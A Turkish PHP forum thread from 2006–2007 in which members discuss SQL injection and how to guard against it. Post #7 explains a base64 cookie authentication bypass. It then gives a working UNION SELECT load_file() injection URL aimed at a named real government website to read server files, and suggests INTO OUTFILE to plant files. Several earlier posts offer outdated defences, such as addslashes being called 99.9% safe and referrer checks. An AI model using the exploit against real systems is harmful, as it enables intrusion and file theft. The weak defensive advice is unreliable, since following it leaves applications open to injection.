• 22-08-2006, 23:25:22
    #1
    Kurumsal PLUS
    php'de sql injection'un nerelere nasıl yapılabildiği ve önlem olarak ne yapılabileceği hakkında bilgi verirseniz sevinirim.
  • 22-08-2006, 23:26:58
    #2
    yapılan sorgulamalardaki özel karakterleri filtreleyebilirsin, referrer kontrolu yapabilirsin. sorgulama için form kutucukları varsa orada kullanılacak karakterler önemlidir. ' gibi.
  • 23-08-2006, 09:25:16
    #3
    Veritabanı işlemleri sırasında tüm değişkenleri eğer integer ise intval, ondalık sayı ise floatval veya yazı ise addslashes fonksiyonlarından geçirdikten sonra kullanınız. Mesela

    "INSERT INTO tablo (integer_alan, float_alan, yazi_alan) VALUES('".intval($integer)."', '".floatval($float)."', '".addslashes($text)."')";
    Bu işlem sonucunda %99.9 SQL Injection açığınız bulunmaz. (%0.01 ihtimal var mı bilmiyorum)
  • 23-08-2006, 11:52:19
    #4
    Üyeliği durduruldu
    veriyi sadece rakamlarla yolla ve

    if (!is_numeric($veri)) { echo ("lamer alert!"); }

    ekle
  • 23-08-2006, 12:41:05
    #5
    DNS1 adlı üyeden alıntı: mesajı görüntüle
    veriyi sadece rakamlarla yolla ve

    if (!is_numeric($veri)) { echo ("lamer alert!"); }

    ekle
    if (!is_numeric($veri)) { echo ("S..tir Leyn Aptal Lamer"); }
  • 04-03-2007, 18:46:11
    #6
    Konuyu hortlatcam. İçimin rahat olması lazım

    Addslashes'in ne yaptığını biliyorum ancak, tam çözüm mü sizce ?
  • 12-03-2007, 12:40:05
    #7
    urldecode base64_decode kullanmayın verileri aldiqiniz variable lardan


    function is_user() {
    global $connection, $cookiename;
    if(!$user = $_COOKIE["$cookiename"]) return false; 4
    $user = base64_decode($user);
    $user = explode(":", $user);
    $uid = "$user[0]";
    $pwd = "$user[2]";
    if ($uid != "" AND $pwd != "") {
    $result = @ mysql_query("SELECT password FROM "._TP."users WHERE userid='$uid'", $connection);
    $row = @ mysql_fetch_array($result);
    $pass = $row["password"];
    if($pass == $pwd && $pass != "" ) {
    return true;
    }
    }
    return false;
    }

    bakın mesela çok kötü 1 func base64_decode kullanmış magic quotess on olsa bile ' ı base64 ile encode ederek auth bypass yapabilirsiniz tabi bunla sınırlı deil

    http://www.tug.tubitak.gov.tr/haber.php?id=-1+union+select+0,1,load_file("/var/www/html/index.php"),3,4,5/*

    { eğitim amaçlı veriyorum linki : ) }

    remote source disclosure de yapabilirsiniz çok basitinden hatta sorgunun sonunda into outfile "/x/x.php" kullanarak dosya da oluşturabilirsiniz vs. :}